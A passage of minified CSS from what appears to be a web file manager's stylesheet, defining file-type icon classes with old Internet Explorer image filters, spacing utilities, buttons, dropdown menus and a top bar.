\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');}.x-swf{background-image:url("../../../images/file_icon/icon_file/swf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');}.x-tar{background-image:url("../../../images/file_icon/icon_file/tar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');}.x-txt{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-vb{background-image:url("../../../images/file_icon/icon_file/vb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');}.x-vbproj{background-image:url("../../../images/file_icon/icon_file/vbproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');}.x-vbs{background-image:url("../../../images/file_icon/icon_file/vbs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');}.x-vcf{background-image:url("../../../images/file_icon/icon_file/vcf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');}.x-vcproj{background-image:url("../../../images/file_icon/icon_file/vcproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');}.x-vcxproj{background-image:url("../../../images/file_icon/icon_file/vcxproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');}.x-vdw{background-image:url("../../../images/file_icon/icon_file/vdw.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');}.x-vdx{background-image:url("../../../images/file_icon/icon_file/vdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');}.x-vsd{background-image:url("../../../images/file_icon/icon_file/vsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');}.x-vsdx{background-image:url("../../../images/file_icon/icon_file/vsdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');}.x-vss{background-image:url("../../../images/file_icon/icon_file/vss.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');}.x-vst{background-image:url("../../../images/file_icon/icon_file/vst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');}.x-vsx{background-image:url("../../../images/file_icon/icon_file/vsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');}.x-vtx{background-image:url("../../../images/file_icon/icon_file/vtx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');}.x-xaml{background-image:url("../../../images/file_icon/icon_file/xaml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder_share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle_full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path_self_share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app_link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-userSelf{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-groupSelf{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-groupSelfOwner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-groupGuest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-groupSelfRoot{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-groupRoot{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-groupPublic{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-treeSelf{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-treeFav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-appStore{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can_select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}input,button,select,textarea{line-height:initial;}a{text-decoration:none;}a:focus{outline:none !important;}.content_box .ace_cjk{width:1em !important;}.content_box .ace_static_highlight{font-size:1.15em;}*,*:before,*:after{-webkit-box-sizing:inherit;-moz-box-sizing:inherit;box-sizing:inherit;}label{font-weight:normal;}pre{border:none;border-radius:0;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;}.btn .font-icon{color:#999;}.btn:focus{outline:none;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}.can_select,.can_select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can_not_select,.can_not_select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.pl-5{padding-left:5px;}.pl-10{padding-left:10px;}.pl-15{padding-left:15px;}.pl-20{padding-left:20px;}.pr-5{padding-right:5px;}.pr-10{padding-right:10px;}.pr-15{padding-right:15px;}.pr-20{padding-right:20px;}.ml-5{margin-left:5px;}.ml-10{margin-left:10px;}.ml-15{margin-left:15px;}.ml-20{margin-left:20px;}.mr-5{margin-right:5px;}.mr-10{margin-right:10px;}.mr-15{margin-right:15px;}.mr-20{margin-right:20px;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.clear{clear:both;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.aui_buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialogChangeMax,.dialogChangeMax .aui_main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui_title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;z-index:100;top:0;background:#63acff;position:fixed;}.topbar .content{padding:0px;line-height:40px;height:40px;wordbreak:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar_menu{display:block;text-decoration:none;color:#fff;border:1px solid #4a9eff;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar_menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar_menu.title:hover{background:none;}.topbar .content .title img{max-width:200px;max-height:44px;}.topbar .content .open .topbar_menu,.topbar .content .topbar_menu:hover,.topbar .content .topbar_menu.this{background:#4a9eff;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top_left{overflow:hidden;height:40px;width:70%;}.topbar .content .top_right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top_right .menu_group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top_right .topbar_menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top_right .topbar_menu i{padding-right:3px;}.topbar .content .top_right .btn{color:#fff;}.topbar .content .top_right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top_right ul a:hover,.topbar .content .top_right ul a.this{margin-right:0px;}.topbar .content .top_right ul a.this{background:#63acff;color:#fff;}.topbar .content .top_right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top_right ul.dropdown-menu.topbar_language{width:480px;padding:10px 5px;}.topbar .content .top_right ul.dropdown-menu.topbar_language li{width:115px;float:left;}.topbar .content .top_right ul.dropdown-menu.topbar_language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top_right ul.dropdown-menu.topbar_language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content 